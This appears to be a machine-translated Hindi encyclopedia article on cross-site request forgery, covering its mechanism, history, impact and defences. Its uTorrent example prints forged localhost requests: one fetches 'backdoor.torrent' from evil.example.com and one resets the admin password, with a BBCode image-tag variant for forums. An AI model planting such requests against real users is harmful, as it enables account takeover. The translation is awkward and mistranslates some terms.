अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट निरूपण निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।

क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध कन्फ्यूज्ड डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।

इस प्रकार से सीएसआरएफ में सामान्यतः निम्नलिखित विशेषताएं होती हैं:

  • इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की ऑनलाइन आइडेंटिटी पर निर्भर करती हैं।
  • यह उस आइडेंटिटी में साइट के विश्वास को दमन करता है।
  • यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
  • इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।

इतिहास

इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका दमन किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का प्रमाण नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, दमन की कम रिपोर्ट की गई है।[6] इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:

  • 2006 में नेटफ्लिक्स वेबसाइट में सीएसआरएफ के लिए अनेक निर्बलता थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।[7]
  • आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।[8]
  • लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]
  • मैक्एफ़ी सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.[9]

अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से ''ऑब्वियस सिक्योरिटी रीज़न'' का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।[10]

उदाहरण

सीएसआरएफ वल्नेरेबिलिटी का वर्णन करने वाला राष्ट्रीय वल्नेरेबिलिटी डेटाबेस पेज

अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट निरूपण निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।[1] इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, डिस्कशन फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। यूटोरेंट में वास्तविक सीएसआरएफ वल्नेरेबिलिटी (CVE-2008-6586) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल लोकलहोस्ट :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:

एक .torrent फ़ाइल डाउनलोड को बाध्य करें
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
यूटोरेंट व्यवस्थापक पासवर्ड चेंज
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

फ़ोरम और ईमेल स्पैम पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक निरूपण के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित यूटोरेंट संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।

इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः इंटरनेट फ़ोरम से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना:

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

स्थानीय यूटोरेंट एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय यूटोरेंट वेब इंटरफ़ेस) में लॉग इन है।

ऊपर वर्णित यूटोरेंट उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि यूटोरेंट के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:

विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।

इस धारणा के कारण, वेब फ्रेमवर्क में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी रिक्वेस्ट को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।[11]

लॉगिन रिक्वेस्ट फोर्जिंग

एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैलिड साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक गूगल और याहू के विरुद्ध प्रदर्शित किया गया है[12][13]

एचटीटीपी क्रियाएं और सीएसआरएफ

प्रकार के आधार पर, एचटीटीपी रिक्वेस्ट मेथेड रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।

  • एचटीटीपी जीईटी में सीएसआरएफ दमन ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को एचटीटीपी पोस्ट पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
  • सीएसआरएफ के लिए एचटीटीपी पोस्ट वल्नेरेबिलिटी उपयोग परिदृश्य पर निर्भर करती है:
    • क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (field1=value1&field2=value2) सीएसआरएफ अटैक को सरल फॉर्म (एचटीएमएल) का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
    • यदि डेटा किसी अन्य प्रारूप (जेएसओएन, एक्सएमएल) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ XMLHttpRequests का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: ENCTYPE गुण; ऐसे नकली रिक्वेस्ट को वैलिड रिक्वेस्ट से अलग किया जा सकता है text/plain कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
  • अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ XMLHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं Access-Control-Allow-Origin: * हैडर

सीएक्सएमएलएसआरएफ के लिए अन्य दृष्टिकोण

इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। सेशन फिक्सेशन या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,[17] चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।

गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।[18][19]

प्रभाव

सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड एक्सेक्यूटिव होता है[20] साथ ही वल्नेरेबिलिटी जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।[21]

सीमाएँ

इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:

  1. अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की चेक नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
  2. अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
  3. अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त ओथेन्टिकेटेड मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
  4. जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।

इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली रिक्वेस्ट के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)[23]

रोकथाम

अधिकांश सीएसआरएफ रोकथाम तकनीकें रिक्वेस्ट में अतिरिक्त ओथेन्टिकेटेड डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से रिक्वेस्ट का पता लगाने की अनुमति देती है।

सिंक्रोनाइज़र टोकन पैटर्न

सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने रिक्वेस्ट को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]

एचटीएमएल फॉर्म में जैंगो (वेब ​​फ्रेमवर्क) द्वारा निर्धारित एसटीपी का उदाहरण:

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की चेक से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।

कुकी-टू-हेडर टोकन

वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:

  • किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
  • क्लाइंट साइड पर कार्य करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम एचटीटीपी हेडर में कॉपी करता है
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • सर्वर टोकन की उपस्थिति और संपूर्णता को मान्य करता है

इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि csrf-token कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैलिड की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.

सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके सेशन कुकी से प्राप्त किया जा सकता है:

csrf_token = HMAC(session_token, application_secret)

सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का अभिप्राय है।

यह तकनीक अनेक आधुनिक फ़्रेमवर्क जैसे जैंगो (वेब ​​फ़्रेमवर्क) और एंगुलरजेएस द्वारा कार्यान्वित की जाती है,[26] [27] क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह एजेएएक्स एप्लिकेशनों के साथ उचित प्रकार से कार्य करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।

यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

  • clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करती है।[28]
  • crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल है।[29]


डबल सबमिट कुकी

इस प्रकार से कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट चेक कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है, या नहीं खाता है। जिससे समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैलिड टोकन नहीं डाल सकते हैं।[30]

अतः सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।

सेमसाईट कुकी विशेषता

जब सर्वर कुकी सेट करता है, तो इसके अतिरिक्त "सेमसाइट" विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट रिक्वेस्ट में संलग्न किया जाए या नहीं। यदि यह विशेषता ''स्ट्रीक'' पर सेट है, तो कुकी केवल उसी साइट रिक्वेस्ट पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाते है। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही रूप से प्रयुक्त करने की आवश्यकता होती है।[31]

ग्राहक-पक्ष सुरक्षा उपाय

ब्राउज़र एक्सटेंशन जैसे रिक्वेस्टपॉलिसीय (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट रिक्वेस्ट के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। सीएसफायर एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट रिक्वेस्ट से ओथेन्टिकेटेड डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।

अतः फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट रिक्वेस्ट से ओथेन्टिकेटेड और पेलोड को हटाकर सीएसआरएफ संकट को कम करता है। और नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए रिक्वेस्ट को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।

चूंकि फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे ओपन टैब से संबद्ध नहीं होते हैं, किन्तु अटैक की विंडो को कम कर सकता है।

अन्य तकनीकें

इस प्रकार से ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:

  • यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है X-Requested-With (v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है Referer हेडर और/या एचटीटीपी Origin हेडर.[32] चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।[33][34]
  • एचटीटीपी रेफरर एचटीटीपी की जाँच करना Referer हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो Referer हेडर को छोड़ देता है अनधिकृत माना जाना चाहिए क्योंकि कोई Referer हेडर एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके अटैक्स इसे दबा सकता है । यह स्ट्रीक Referer सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ उत्पन्न कर सकता है जो Referer हेडरगोपनीयता कारणों से इसे छोड़ देते हैं। साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को एचटीटीपी प्रतिक्रिया विभाजन का उपयोग करके इच्छानुसार रूप से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।[35] और क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
  • कुछ समय के लिए पोस्ट रिक्वेस्ट मेथेड को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके सामान्य सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब XMLHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। और अप्रत्याशित जीईटी रिक्वेस्ट को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस इमेज यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <script> तत्व (जावास्क्रिप्ट हाईजैकिंग); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (नॉन-सिक्यूरिटी-रिलेटेड) समस्याओं को भी रोकता है।[1]

इस प्रकार से क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को अनदेखा करने की अनुमति देती हैं।[36]

यह भी देखें

संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
  2. 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
  4. "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  5. Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  6. Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  7. Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
  8. 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  9. Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  10. "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  11. "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
  12. Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  13. Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
